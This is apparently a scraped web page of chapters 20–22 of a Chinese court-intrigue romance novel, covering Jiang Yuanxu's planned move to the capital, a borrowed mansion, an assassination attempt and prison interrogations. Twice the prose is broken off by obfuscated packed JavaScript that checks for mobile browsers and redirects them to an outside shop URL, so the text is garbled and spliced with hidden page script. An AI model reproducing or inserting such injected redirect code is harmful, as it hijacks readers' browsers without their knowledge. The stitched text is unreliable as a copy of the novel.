小黑猫躺的好好的,猫爬架陡然翻了,生气地朝姜元序跑走的方向哈气,橘掌睁开眼,吹了吹胡子,一跃压在小黑猫头上。 姜元序爆发力一流,几步就追上谢青衍,扯住胳膊把人往回拉,“大哥,别冲动!” 谢青衍也没想跳湖,任何一个行刑前的死囚,突然接到赦免的圣旨,都会像他一样反复确认这是真的圣旨,而不是临死前的臆想。 他用能活动的手扶住姜元序的肩膀,希冀地问:“是真的吗?你要去京城了,去多久?” “真的!去很久!暂时没计划到回来那一天!” 云慎急跑过来,只听到姜元序最后一句,僵立在三步之外,慢他一步的百凌冲上前,担心地问:“姑娘,没事吧?” “都回去,别让人过来。” 百凌听到姜元序的命令,立马把云慎拖走,拦住后面的云齐和十安,几人犹豫了下,还是往回走了。 云慎急切地问十安:“姜姑娘是要离开江州了吗?” 十安一怔,然后瞬间了然,“是。” 云齐被打了个措手不及,“要去哪儿?!” 百凌哼了一声,笑说:“姑娘若是想说,自然会说,姑娘若是不说,那我们又怎么会和你们说。” 十安不说话,默认百凌的说法,她虽觉得谢大人是个不错的人,但也不会特意去撮合两人,姑娘的意愿最重要。 云齐只好坦言:“两位姑娘也看出来了吧,我们公子对姜姑娘有意,原是想调到江州的,早就传信京里帮忙留意江州知州的位置,如今姜姑娘却要离开了,总得给我们点准备吧。” 十安暗叹同知大人当真是命途多舛,一年前被周明坤抢了晋升之路,现在又差点被谢大人抢。 “姑娘的安排,我们不方便透露。”十安还是这句话。 说话间,四人已走到茶馆门前,韩乘霖双手抱胸,倚着门框,脸色又黑又沉,朝他们道:“谁能和我说说,那两人是怎么回事吗?” 许安宁露出一个头,瞧见湖边拉拉扯扯的两人,“呦”了一声,“多明显啊,打情骂俏呗!” “十安,他们进展那么快的吗,什么时候的事?” 云齐云慎脸色一白,合着所有人都知道了,那姜姑娘不会也早就知道了吧? 十安沉默,不知道该怎么回答,毕竟今天之前是一点进展都没有的,今天之后就不知道了。 韩乘霖把牙咬得滋滋响,原来打着这个主意呢,怪不得昨天捧着他讲元序的事,好小子,等着。 20. 谢府隔壁 谢青衍在一刻才真正感觉到自己被赦免,荒芜的心底涌起狂喜,紧接着是深深的后怕。 要不是今天因为橘掌的事,话赶话说到了这事,等他安排好一切来江州时,姜元序已经去了京城,那时他才是真正的绝望。 “所以,你不让我来江州是因为你要去京城了,不是因为讨厌我,对不对?” 姜元序用力拍开他的手,生气地说:“我没事讨厌你干嘛!” 姜元序的力道可不轻,“啪”的一声,谢青衍的手背瞬间浮起红印,放在平时他可能会察觉姜元序的力气不寻常,但现在,疼痛反而给了他勇气。 “你……” 他想问姜元序既已知晓了他的心意,是否愿意嫁他,但冷静下来想想,如今的姜元序也仅仅是不讨厌他而已,定是不愿意的。 不能操之过急,他顿了一下,接着说道,“你怎么不早点告诉我。” 姜元序见他还好意思问,顿时火冒三丈,“你给我插嘴的机会了吗,一个人在那哐哐演苦情戏,一幕接一幕,戏楼的头牌都没你会演。” “别当官了,你这脑子当官有什么前途,回去挂牌唱戏吧。谢家出了你这么个名角儿,列祖列宗一定欢欣鼓舞地排队从祖坟里爬出来,拿着这些年在底下积攒的纸钱,好好给你捧个场!” 谢青衍感觉被骂的很冤枉,他哪里演戏了,全是真情流露好吗?姜元序这个铁石心肠的女人,根本不懂他的百转柔情,从满怀期待一瞬间到心如死灰,他只流了几滴泪,而不是吐了几口血,完全是靠他的铮铮铁骨。 他耷拉着眼睛,一脸委屈,姜元序更生气了。 “你还委屈上了,你有什么好委屈的!装的一副深情款款的样,你做这个决定前支会我了吗?还是你觉得我是算命的,两指一掐就算出你准备来江州?” 谢青衍真的要被冤死了,“我哪有装深情,我也不知道你要去京城啊,我要早知道的话,还费劲来江州干嘛。” “是,你是真深情。”姜元序赞同地点点头,“堂堂谢家公子放弃京城的一切,千里迢迢来江州当个小官,谁能深情的过你啊。” “脑子被深情吃了吧,留个壳子继续装你的深情。” 谢青衍哭也不是,笑也不是,他深情还深情出错来了,论辩才,他怕是再修一百年也辩不过姜元序。 只好老老实实道歉:“是我的错,我太自以为是了,若是提前和你商量一下,也不会有这些误会,也是我心急失态,闹了笑话。” 他低眉顺眼地认错,姜元序也不好意思再咄咄逼人,未置一词,转身回刚才的位置坐下。 谢青衍自然跟上,落座后小心翼翼瞧姜元序的脸色,什么也看不出来,面纱遮的严严实实,眉头没有皱起,眼睛望向远处,一丝眼风也没留给他。 他轻咳一声,努力让自己的声音不要发虚,“那个……你说你有江州知州的人选,是谁?” 姜元序的眼里全是不耐烦,声音冷冽:“和你有关系吗?” “是这样的,我之前写信给我祖父了,让他给我留着江州知州的位置……” 谢青衍越说越小声,姜元序眼里的火光烧得他坐立难安。 他心虚地移开视线,快速说道:“你把名字告诉我,我今晚就写信给祖父,绝对不会让人打乱你的安排!” 姜元序当然火大,一个两个的都仗着家世横行霸道,她要是不说要去京城,还真被他得逞了。 恨恨地踹了他一脚,冷声说:“把同知提上来。” 谢青衍揉揉被踢疼的腿,笑得很开心,马上表忠心,“没问题,我保证办好,江州知州只会是同知大人的。” 随即殷切地说:“你在京城寻好住处了吗?谢府旁边就有一座宅子,是新的,在我的名下,不如你住过来吧。” 姜元序发现他还真会打蛇随棍上,“我缺一座宅子吗?” 谢青衍循循善诱:“你在江州自在惯了,这里的百姓也和善,京城到底不比江州,各路权贵云集,许多人都蛮横的很,我自是知道你不怕他们,可周旋起来到底累人。” “那座宅子大家都知道是谢家的,你住进去,意味着受谢家的庇护。谢家在京城有一定的威慑力,那些喜欢没事找事的杂碎,不敢来沾边,你也能清净一些。” 姜元序睨他一眼,若有所思,这些年她年纪小,很多事情都隐在人后,这次去京城,至少财力是藏不住了。 她不准备让人知道她和韩家的关系,韩家毕竟是武将,她一个手握巨额财富的孤女,要是再和兵权沾上关系,几个王爷和他们背后的家族怕是都要从她这里动心思了。 她暂时还不能对他们下手,得让他们有所顾忌,谢青衍就是个很好的幌子。察觉到谢青衍的心思后,她迅速决定用这层关系挡挡那些别有用心的人,没想到这会儿他自己先撞上来了。 谢家公子去了一趟江州,带回一个孤女,还安置在谢府隔壁,明眼人都知道是什么意思,有什么比桃色绯闻更能掩人耳目。 一来,以谢青衍在京城的名声,有了这桩事,不管是和他交好的还是交恶的,都得来她跟前碰一碰,倒省得她一个个去找。 二来,她要入朝,只靠女眷肯定不行,谢家这条线她必须搭上,现在有谢青衍的关系,又住得近,见谢阁老就容易多了,拿下谢阁老不难,难的是怎么通过谢家搭上李首辅,那才是真正难啃的骨头。 最重要的是,一个女人一旦有风月纠葛,无论她表现得多厉害,大家想探究的永远是她的私生活,甚少有人能冷静下来思考她做的那些事背后有何深意。 姜元序脑海中已经把种种安排理清,面上只思索了片刻,便道:“这宅子既然有这么大的意味,你能做主?” 谢青衍一听有戏,“当然能!这宅子本就是我的,家里一向不干涉我的决定,你不必担心谢家其他人会有闲话。” “那宅子多大?”姜元序问。 “按制式来说是三进的,不过比普通三进院大很多,主院和谢府的差不多,里头修了地龙和暖阁,京城冬季比江州冷很多,你住那边不用担心冷。还有一处院子是仿的江南园林,小桥流水,亭台楼阁,很是精巧,你可以冬季住主院,夏季住这处。” 谢青衍心头火热,这宅子简直就是专门给姜元序准备的,他之前还觉得建的过于奢侈了,几处院子各有巧思,无一处不精致的,比谢府有过之而无不及,现在想想是真的值,总不能委屈了姜元序。 “你若有哪里不喜欢的,可以让人改,家里有熟悉的工匠,都是老手艺了,按你喜欢的让他们做,后边还有空地,扩建也行。” 姜元序爽快应下:“行,叨扰谢大人了。” “你真答应了?不会敷衍我吧?”谢青衍还以为要多费几天唇舌呢。 “不过一处宅子而已,能帮我省下不少事,干嘛不答应?你要愿意卖,我可以按市价提高三成买。” 谢府那个地理位置,宅子一向是有价无市的,很多都得御赐,哪怕富成姜元序这样,也是买不到的。 “说什么买不买的,那么见外,你安心住着。”谢青衍倒是愿意直接给,只是那宅子有些特殊,没法儿直接给。 “你要铺子吗?我在京城有不少铺子,内外城都有。” “不用,我在京城有不少产业。”姜元序见他还想说什么,赶紧制止,示意他看后面。 “别说了,天都黑了,去吃饭吧,我爹都来了。” 谢青衍一怔,转头果然看到不远处吴善民和韩乘霖正盯着这里,暮色笼罩,看不清他们的神情,但一想到他刚才那一出被这两人看到,忍不住叫苦。 谢青衍一路上已经调整好神态,温和有礼地和人打招呼:“伯父,韩大人。” 吴善民还是一副老实巴交的样,笑容和善,摆摆手说:“哎,可当不得谢大人一声伯父,您是大人,叫我小吴就行。” 面色不善的韩乘霖哼笑出声,他就说能养出姜元序这样的女儿,当爹的能是什么善茬。 谢青衍尴尬不已,但这时候不能顾脸面,“您是姜姑娘的父亲,我叫您一声伯父也是应该的。” 吴善民不接茬,笑呵呵地说:“元序这孩子不懂礼数,我瞧着她刚才还踢谢大人了?我这个当爹的代她向谢大人赔个罪,您大人有大量,别和她计较。” 谢青衍想解释是他的错,韩乘霖没给他开口的机会。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211517|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “吴叔,元序到底年纪小,比不得某些大人心机深沉,我们看到的是她踢了人,实际上是怎么样,我们根本没法知道,有些人惯会做面上功夫。” 吴善民作恍然大悟状,“小韩,还是你见多识广,京城来的到底不一样,心思九转十八弯的,我们乡下人是比不上。” 韩乘霖继续危言耸听:“我这才哪儿到哪儿啊,您那是没见过京里头那些文官,啧啧,那一张嘴哦,活人能给你说死了,人死了不算,家财都得乖乖奉上。” 吴善民震惊拍大腿:“哎呀,这人心当真是可怕,你说我家这情况,会不会被盯上啊?” 谢青衍:“……” 两人一唱一和,直到饭桌上也不消停,把谢青衍夹在中间,谢青衍知道这两人有气,也不敢得罪,乖乖听数落,酒也是来者不拒,一杯杯往下灌。 姜元序看不下去了,筷子一拍,“爹,二哥,你们老挤兑他干嘛!” 吴善民韩乘霖端起的酒杯顿住,谢青衍抬手掩饰勾起的嘴角,众人一脸看好戏。 “我和他什么事都没有!” 谢青衍嘴角下垂,气闷地看着姜元序,吴善民韩乘霖舒心地把酒倒嘴里。 “哈哈哈哈……”吴善民朗声大笑,“失礼了,谢大人莫怪,莫怪。” 饭后,姜元序还是让谢青衍把橘掌带走,“你带回去试试,看它适不适应换个地方生活。” 谢青衍进退两难,他能看出姜元序对橘掌的不舍,但她的态度又很坚决,吴父、许安宁、十安轮番劝了,也没让她打消这个念头。 他只好说:“我今天先带回去,如果橘掌不适应,我马上把它送回来。它真想跟我走也没什么,以后我们住的近,橘掌两边都能住。” 这话一出,周围众人呼吸一窒,许安宁最先沉不住气,“什么叫你们住的近?” 云齐云慎对视一眼,心骤然提起,十安百凌也皱眉,这是发生了什么? 姜元序轻描淡写道:“谢大人把他的宅子借给我住了,就在谢府旁边。” “嘶——”众人倒吸一口凉气。 吴善民咬牙问:“闺女啊,咱家在京城没宅子吗?”没宅子也能买啊,需要借别人的宅子住吗! 姜元序早就想好了借口,“那么好的地段的没有啊,几步就能到皇宫,有钱买不到。” “谢大人先走吧,我和他们说说。” 谢青衍走的时候乐津津的,姜元序都和家里人说了,肯定不会变卦了,他得好好把宅子布置一下。 云齐云慎一左一右簇拥着谢青衍,忙问他怎么回事,谢青衍简单解释了一下。 云齐今天一颗心起起落落的,到这时候总算安定下来,当真是柳暗花明又一村,姜姑娘要去京城,公子也不用来江州了。 云慎犹豫地问:“姜姑娘知道……这是准备给公子成亲后住的宅子吗?” “咳……”谢青衍紧了紧抱橘掌的手,非常心虚,“我没说,她以为是旁边单独的宅子。” 外面看是两座府邸,其实侧面开了一道门,可以直接进谢府。谢府人多,祖父和母亲想着他成亲后可以过自己的清净日子,就在旁边建了座宅子。 谢青衍说:“这事儿外人也不知道,只要把侧门关了,就是两座宅子,姜元序要是介意,就把门拆了,砌成墙。” 云慎默默竖了根大拇指,公子已经学会了追媳妇的精髓,就得又蒙又骗,再加死缠烂打。 三人走出一段路,橘掌开始焦躁起来,谢青衍察觉不对,停住脚步借着光低头看它,略一松开手,橘掌大力一挣,一息之间便蹿出去老远。 “橘掌——”谢青衍赶紧去追。 云慎一凛,提气急追,橘掌要是在他们手上出了事,姜姑娘和公子算完了。 姜元序这边刚给他们解释完,不是因为她和谢青衍发生了什么感情纠葛,而是她要躲在谢家的大树底下乘凉。 “砰——”“喵呜——” 眼前一闪,橘掌庞大的身躯直直砸到姜元序胸口,像个被拐走又逃回来的小孩,依恋地趴在最信任的人身上。 姜元序拿下面具,把脸埋在它的毛毛里——它果然最爱我。 21. 要点好处 “安宁!救命啊——” 江州一霸软弱不过片刻,当即向罪魁祸首复仇,一人一猫打架十分娴熟,姜元序底气不足,默默忍了一顿拳拳到肉的猫猫拳,橘掌犹不罢休,追着人满屋子跑,硬往她头上蹿。 许安宁悠闲地嗑着瓜子,幸灾乐祸道:“谁让你非要把它送人?今天橘掌就是把你的脸抓花了,那也是你应得的。” 姜元序又喊:“二哥!把橘掌抓住!” 韩乘霖也不动,和大家一起乐呵呵地看戏,想当年姜元序可是骑着马甩着鞭子监督他们训练,难得见她上蹿下跳的样子,当然要好好欣赏。 云慎喘着粗气推开茶馆的门,来不及说什么,直接和没戴面具的姜元序打了个照面,姜元序眼睛一亮,迅速躲他身后。 “云慎,快帮我挡挡!” 云慎人都麻了,直挺挺地僵立在原地,韩乘霖这会儿顾不得看戏了,他不清楚姜元序为何平日里要戴面具,云慎到底是外人,还是得小心些。 他把云慎拉走,姜元序又直面气势汹汹的橘掌,橘掌拉长身体如蓄势待发的弓弦,姜元序小心翼翼向后挪,和疾跑来的谢青衍恰好撞上。 谢青衍来不及平复呼吸,就被姜元序推进门,“快快快,把橘掌抓了!” 眼见场面越来越乱,许安宁赶紧上前擒住橘掌,吴善民拖住谢青衍,百凌挡在姜元序面前,十安把面具递上。 姜元序一怔,抬手摸了摸自己的脸,迟疑片刻,还是把面具推开了。 她戴面具只是因为对自己的长相有些别扭,她上辈子不长这样,只有一双眼睛极像,遮住下半张脸,倒是和以前差不多。这一世是全新的人生,但她总想留着些什么,不至于忘了另一个自己。 对于她的身世,也是种种巧合下的猜测,暂时没有真凭实据,这年头又没有亲子鉴定,她想顺理成章坐上那个位置,只要把那些巧合变成事实。 谢青衍应该是见过贵妃公主和李家人的,正好趁这个机会试试,她这张脸会不会跟某个人很像,一看就是亲生的,毕竟小说里都是这么写的。 谢青衍全然是懵的,看不懂这屋子里到底发生了何事,他在门口看见橘掌时松了一口气,然后就被推进门,一群人拥上来把他围在中间,吴善民扯着他的胳膊,他也不敢拂开。 云慎自觉撞破了什么大秘密,碰上谢青衍询问的视线,下意识转头回避,韩乘霖在一旁阴恻恻地盯着他,他缩了缩脖子,低头看地面。 姜元序轻轻拍了下橘掌的头,用点力气把它从许安宁手里接过,示意他们散开,几人不解,但还是退至一旁。 她若无其事地对谢青衍道:“谢大人来找橘掌的吧?” 吴善民瞬间竖起眉毛,怒气冲冲地瞪谢青衍,闺女平时见外人都要戴面具,现在这么大个外人杵在这儿,反而不戴了,这还叫什么事都没有? 谢青衍想不明白自己何时又把人得罪了,一脸懵地转头,昏暗的烛光中,姜元序全部的面容就这么闯入眼底,他恍惚地眨了眨眼,犹不敢信。 姜元序促狭地笑了笑,“吓到了?” 谢青衍被这灵动慧黠的表情闪了眼,不自在地偏过头,热意涌上脸,掩饰性地后退了一步,哑声道:“橘掌没事吧?” 姜元序叹息一声,状似惋惜地说:“看来橘掌对谢大人只是一时兴起呢,它的真爱终究是我,如今也算迷途知返,就是麻烦谢大人了,是橘掌的错,让它和你道歉。” 许安宁忍不住拍了她一掌,“你真好意思,把错推橘掌身上,不都是你自己作的吗!” 也不知道吃错了什么药,明明那么喜欢橘掌,还非要送人。 姜元序没防备,被她拍得趔趄了一下,谢青衍急忙上前扶住她,姜元序龇牙咧嘴地回头瞪许安宁:自己什么力气不知道啊! 许安宁讪讪地放下手,心虚了一瞬,立马回瞪:谁让你自己不当人! 橘掌察觉到谢青衍的气息,没有蹿出去找人,反而往姜元序身上缩了缩,动静虽小,姜元序还是感觉到了,不可置信地把它往谢青衍的方向递了递,橘掌扒得更紧了。 “它不喜欢你了哎,你摸摸它试试?”姜元序一脸的落井下石。 谢青衍无奈伸手,橘掌果然又往姜元序身上靠了靠。 “哈哈哈哈……”姜元序毫不顾忌形象地大笑,还把橘掌往上掂了掂,橘掌想逃,她又往谢青衍的方向走近,橘掌瞬间熄火。 姜元序玩心大起,就这么来来回回逗着橘掌,谢青衍怔怔地想,橘掌怎么会不爱她呢。 韩乘霖笑着摇摇头,亏得他还以为姜元序长大了收敛了,不成想还是这副缺德性子,他朝谢青衍说:“没什么事了,谢大人,一起回去吧。” 谢青衍回神,点头应是,天色实在不早了,今日发生的事情太多,他真的需要好好冷静冷静。 姜元序送他们出门,握着橘掌的爪子朝他们挥挥手,“来,跟二哥说再见。” 橘掌声音不善地喵呜一声,姜元序好心情地又摇摇爪子,“也跟青衍哥哥说再见。” 谢青衍心尖猛地一跳,韩乘霖冷嗤,手迅速环过他的肩膀,哥俩好似的箍着人转身往前走。 月色昏黄,树枝影影绰绰,韩乘霖忽地顿住脚步,不动声色地扫视四周,低声对韩乘风说去找姜元序,他身上只有一把匕首,打起来不占优势。 与此同时,数道寒光自树丛中掠过,韩乘霖和云慎一左一右护在谢青衍身前,刺客明显是冲他来的,谢青衍没有兵器,赤手空拳实在没法对上持剑的刺客。 姜元序来的很快,韩乘风跑在最前面,手里的长枪朝韩乘霖的方向一掷,自己也提枪加入战局。 韩乘霖一改之前畏手畏脚的打法,长枪一扫,原本攻势紧密的刺客,立刻七零八落,刺客见无法得手,眼神交汇间已有了退意。 吴家的护卫散在周围,迅速擒住倒地和逃跑的刺客,百凌上前查看,很快明晰了对方身份,向姜元序回话:“是周家人。” 姜元序皱眉,问谢青衍:“你之前没接到消息?” 谢青衍摇头,姜元序周身的气势一下凌厉起来,“你就是这样看管牢房的?” 这么重要的消息竟然漏掉了,今天要不是有韩乘霖同行,谢青衍不死也得重伤。 谢青衍心一沉,乖乖低头认错,是他的失误,小瞧了周明坤的睚眦必报,以为这种时候周家自身难保,不敢和谢家对上。 铜矿一事周家的态度才是重中之重,他放任周明坤向外传递消息,差点害了自己。 姜元序对他的办事能力极其不满,冷声道:“这个时候派人刺杀,牢房怕是出事了,我和你们一起过去,这里有我爹他们处理。” 一行人刚到衙门口,钟亦就急冲冲迎过来,脸色极差,“公子,周明坤自尽了,留下一身血衣。” 韩乘霖和谢青衍不约而同地看向中间的姜元序,只见她微微扬眉,语气戏谑:“倒是聪明了一回。” 自尽总比当众被处死体面,不仅保住了周家的面子,还能让其余世家忌惮,连众所周知的周家弃子周明坤都有如此气节,想对周家动手的得细细掂量了。 周老将军再上一道请罪的折子,铜矿之事不平也得平,太子的禁足也能解了,安王忙活一通,什么也没得到,反倒沾上一身腥。 周明坤的遗体已经蒙上白布运出来,几名狱卒把血衣展开,写的是周明坤自认罪大恶极,上对不起天地和陛下,下对不起周家的列祖列宗,此生恶贯满盈,死有余辜,唯独私采铜矿一事乃不白之冤,然百口莫辩,唯以死明志,以证清白。 众人看完之后,谢青衍让人把血衣封存,即刻送上京,连同他的请罪折子一起,周明坤这一手,倒是让他的处境艰难起来。 姜元序阻止,意味不明地对谢青衍说:“来都来了,我去见一下太子的手下和周泰,给你要点好处。” 谢青衍眉头一跳,百思不解,什么叫给他要好处? 姜元序也不打算解释,“里边有间暗牢,你们去那呆着,狱审室的情况都能听清。” “十安去安排,百凌跟我进去。” 剩下的人面面相觑,都来半个多月了,他们都没发现有暗牢,为何姜元序会 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今日周大人一死,铜矿一事就算过了,他是太子的人,大晚上的居然要被一个女人审讯,心气自然不顺,不成想这个女人敢对他动刑,连钦差都不敢。 “我再问一次,是不是周大人安排的,目的是什么?”姜元序又问。 方七人在屋檐下,不得不低头,“是,谢公子曾对周大人动手,周大人想给他一点教训。” 姜元序嘲讽地说:“十个杀手的教训?周家是打算彻底和谢家对上吗?” 方七:“周大人知道谢公子身手不错,派十个人只是想让他受点伤,没想让他死。” “你们到底知不知道那是谁,那是谢家公子,是朝廷命官,是钦差!知道刺杀钦差是什么罪名吗?轻则流放,重则九族尽诛。”姜元序敲敲桌子,一脸的不耐烦。 “这江州中心街上都是两层的房子,趁他经过的时候往下丢个花盆,或者找个乞丐,趁乞讨的时候捅他一刀,多的是让人意外受伤的方法。” “你们呢,非要找十个明晃晃的杀手,大晚上的在路上行刺,生怕不被人抓住把柄。你们是不是还打算参他一本,安个看守不力的罪名?” “还嫌场面不够乱啊,铜矿案的背后会是什么人,需要我来提醒你们吗?嫌太子的地位太稳了是吧?” 方七禁不住咽了咽口水,他好像明白周大人为何提起她时总是一副谨慎的样子,这随口说的手段都比他们高明。 他讷讷说:“人又没死,谢家还能问罪周家不成?看守不力更是事实,真对上了,也是谢家没理,周家可不怕。” “是,周家不怕,”姜元序不屑地说,“刀架在人家脖子上了,等谢家站队其他王爷的时候,希望太子能拿出点魄力来,直接把谢家掀了。” “让太子别搞新政了,专心对付谢家吧。” 方七听她这么一说,顿时心惊胆战,他们好像真的使了个昏招,新政是太子和周家翻身的东西,可不容有失。 他立刻识时务地放低姿态,“姜姑娘,周大人说过你是可以信任的,周大人如今不在了,我们也不知道该怎么做,你得帮帮我们,周家好,您在宁远郡的生意才能长久的做下去不是。” 姜元序寒眸一扫,厉声道:“要不是接了军粮生意,你以为大晚上的,我愿意来这儿跟你废这么多话!” 方七唯唯诺诺地朝她拜了拜。 “事情已经发生了,撇是撇不干净的,你如实把我的话传给太子,让他准备一份切实的礼,堵住谢大人借此事发难的机会。” “和谢家的关系是修复不了的,当下是给新政留出时间,新政成了,一切都好说。” 方七拧眉,有些怀疑她是不是来给谢公子捞好处的。 姜元序突然说:“传话,会传吗?” 方七怔愣片刻,不懂她为何这样问,“这有何难?” “原来传话不难啊。”姜元序嘴角高高扬起,好像放下了什么重担似的,慵懒地靠在椅背上。 “那你和我说说,周大人是怎么说我和谢大人的关系的?” 22. 写个折子 方七浑身一凛,双手猛然攥紧,镣铐凌乱地交错了一瞬,铛铛的响声让他想起周大人再三的叮嘱。 “姓谢的不足为惧,真正危险的人是姜元序,你们回去跟太子说,这次的事情和她无关,以后也要尽量交好,不要为敌。” “新政出了什么变故,尽可以去找她,她性子傲,你们平时要捧着,千万不要招惹,一旦她要跟你计较,别怪我没提醒你们,你们不会有活路的。” 他冷汗直冒,有些气弱地说:“周大人说……说……说谢公子……” 他万分后悔一开始的轻慢,凭刚才一袭话,足以证明这个女人对得起周大人对她的重视,他到江州什么事都没办成不说,还得罪了周大人给太子找的帮手。 姜元序笑意盈盈地打断他的话,“哎,你不说我也知道,周大人怎么会说我的闲话呢。” “不过——”她拖长调子,嘴角蓦地拉平,声音像是沁了冰,“这好好的话从你嘴里传出来,怎么就变了个样?你是打算这样帮我给太子传话吗?” 形势比人强,方七猛地抬手,左右开弓扇自己嘴巴子,连扇了几十下,嘴里满是血腥味才停下。 “是我嘴贱,您不要跟我计较,周大人没有说过这种话,都是夸您的,是我猪油蒙了心,冒犯了您,求您高抬贵手,饶了我这一次吧。” 方七嘴上求饶,心里却怨毒了她,想着一定要好好向太子告一状,谁知道她是不是已经和谢公子勾搭上,帮人家出气来了。 姜元序当然知道他心有不甘,不过也不在意,“留下两颗牙,这事我就当过去了,话还是让你传。” “我给太子一个面子,你可以自己动手。” 方七一改低声下气,红痕交错的脸上凶相毕露,咬紧牙关道:“你不要太过分!我到底是太子的人!” 姜元序嗤笑一声,百凌二话不说拿着剑柄朝他的嘴哐哐敲了两下,方七还没反应过来,两颗牙齿已经落地。 方七张着嘴,又惊又惧,嘴唇哆哆嗦嗦说不出一个字,他突然想起,这个人至始至终都没有问过他的名字身份,她不在意他是谁,她说话的对象其实一直是太子。 凉意席卷全身,他大口喘息,嘴里的鲜血滴在手上,热意稍稍唤回他的神智。 眼前这个女人嘴是笑着的,眼里却没有一丝笑意,配上她金色的半脸面具,在这昏暗的狱审室里,如同阎王亲临。 他用力吞咽一下,颤抖着说:“谢姑娘责罚。” 姜元序满意地点点头,宫里出来的,果然很懂规矩。 “我答应周大人把太子摘干净,周泰我会解决的。” 方七的脑袋嗡嗡的,魂不守舍地被拖回牢房,同行的兄弟们急切地问他发生了什么,他也不说话,直直地盯着周泰被带走的身影。 周泰死猪不怕开水烫,闭着眼睛,吊儿郎当地坐在审讯椅上,管他审讯官是谁,刑讯逼供也好,威逼利诱也罢,他绝不会改口。 姜元序不紧不慢地说:“事情办成这个样子,你怎么有脸活着的。” 周泰的眉头狠狠一跳,全身僵直了一瞬,很快又恢复常态。 “周泰,殿下让我问问你,你到底有几个主子?” 周泰缓缓睁开眼睛,眯着眼睛凝视面前这个女人,他不认识,无法判断她的话是真的,还是炸他的。 姜元序呵笑一声,意有所指道:“看来确实是个背主的东西,只是那孩子才刚过四岁的生辰,倒是可惜了。” 周泰脸色一变,呼吸急促,他的儿子在安王手里,这事没有其他人知道,她是安王的人。 连忙解释:“我没有背叛殿下,当时我准备撞上那人的刀的,只是百姓突然冲出来,钦差又正好到了,我没办法,只能跟他们走,我绝对会咬死是太子指使我的,不会连累殿下。” 姜元序厌烦地盯着他,好似在看什么脏东西,“你觉得有用吗?周明坤死成那样,谁还敢追究,殿下的局全废了。” 周泰也知道自己这事办的不漂亮,不安地搓了搓双手,恭敬地问:“您……那,那您是有什么指示吗?” “殿下让我先问问你,你把铜锭给谁了?”姜元序直接地问。 周泰不假思索道:“当然是给殿下了!” “还不说实话!”姜元序狠狠拍桌,厉声质问,“殿下缺钱吗,要你那三瓜两枣!说,让你开矿的是谁,铜锭又送到哪儿了!” 周泰面色发白,手微微颤抖,让他开矿明明是殿下的吩咐,每年来收铜锭的商人也是殿下安排的,哪里有别人? 可面前的人也不像无的放矢,安王的富庶程度他当然知道,他接到命令的时候也曾有过一瞬的不解,但转念一想,谁又会嫌钱多,这两年送出去的铜锭,前前后后近二十万两。 他凝神仔细回忆,把何时接到的命令,如何把铜锭送出去的,那些商人长什么样,叫什么名讳,详细地说了一遍。 “蠢货!被人算计了都不知道!” 姜元序随手拿起笔架,丢在周泰脸上,周泰连偏头的力气都没有,整个人发虚,硬抗了这一下。 “如今太子安然无恙,等他抽出手,迟早要查到殿下,这铜矿的脏水,反倒要泼到殿下头上了!” 周泰呼吸急促,眼前阵阵发黑,颤声说:“我不知道,我接到的明明是殿下的吩咐,怎么会这样,我一直对殿下忠心耿耿,绝无二心的。” 他子嗣艰难,唯一的儿子在安王手上,他接到这份差事,就做好了赴死的准备,又怎么会背叛安王。 但确实是他这里出了差错,还是天大的差错,照安王的手段,他的儿子哪还有活路。 姜元序冷眼旁观他惊恐难安的样子,“现在,你去把开矿的事认下来。” 周泰好像抓住了救命稻草,瘫软的身体有了一丝力气,急忙问:“什么意思,要我怎么认?” “就说是你发现了铜矿,利益熏心,借着周明坤的名义私自采矿,卖铜锭的钱,一开始是你拿的,后来被益州知州宋大人发现,之后的钱大部分都给他了。” 周泰立刻明白了其中的关窍,由他认下开矿的事,至少能切断安王和开矿的联系,太子再能耐,也只能查到安王把带铜矿的地给了周明坤,顺便还能拉下一个周家一系的官员,确实是目前最好的方法了。 他立刻信誓旦旦保证:“您放心,我一定办好这件事,谢殿下愿意再给我一次机会。” “这是最后一次机会了,周泰。”姜元序冷声说,“办的漂亮点,殿下可以对你儿子网开一面。” 查这个消息可费了不少功夫,周泰养了不少女人,三十多岁膝下无嗣,一开始查的方向就是子嗣,却没有任何痕迹。 直到前些日子从安王入手,总算知道难查的原因了,因为那孩子是有爹的,安王给周泰做了场仙人跳,要不然怎么会这么巧,只有那个女人怀孕了,还被安王抓到了把柄。 周泰连连应是,点头哈腰朝姜元序道谢,姜元序摆摆手,百凌打开狱审室的门,狱卒把周泰带回牢房。 姜元序走出牢房,呼吸一口新鲜空气,对着夜色笑了笑,今天发作了一通,太子那群蠢货总该相信周明坤的话了,希望太子能听进去点,以后在京城不要和她作对。 宋大人和周明坤一路货色,来历不明的财物绝对超过二十万两,正好趁这个机会换掉他,益州的百姓也能喘口气。 当对手愚蠢又傲慢时,真的能带来很多意外之喜。 围观她审讯的人随后出来,神色各异。 她笑着对谢青衍说:“谢大人,你的请罪折子换一个方式写吧,今晚别睡了,好好审一审周明坤的死因。” “什么意思?”韩乘霖走在最前头,闻言大为不解,“周明坤不是自尽吗?” 姜元序意有所指道:“这自尽也分主动自尽和被迫自尽,今天刺杀你们的那群人,或许只是为了拖住你们的脚步,好让人解决周明坤。” 韩乘霖一头雾水,姜元序刚才不是都问了,这群人就是周明坤安排的。 谢青衍好像有些明白了,那群人来的正好,进可以说是太子指使的,杀人灭口掩盖罪证,退可以说是周家指使的,虎毒食子,而周明坤是被迫自尽以撇清太子和周家。 当然这是没有证据的,但只要他在请罪折子里隐晦地提一提这个猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 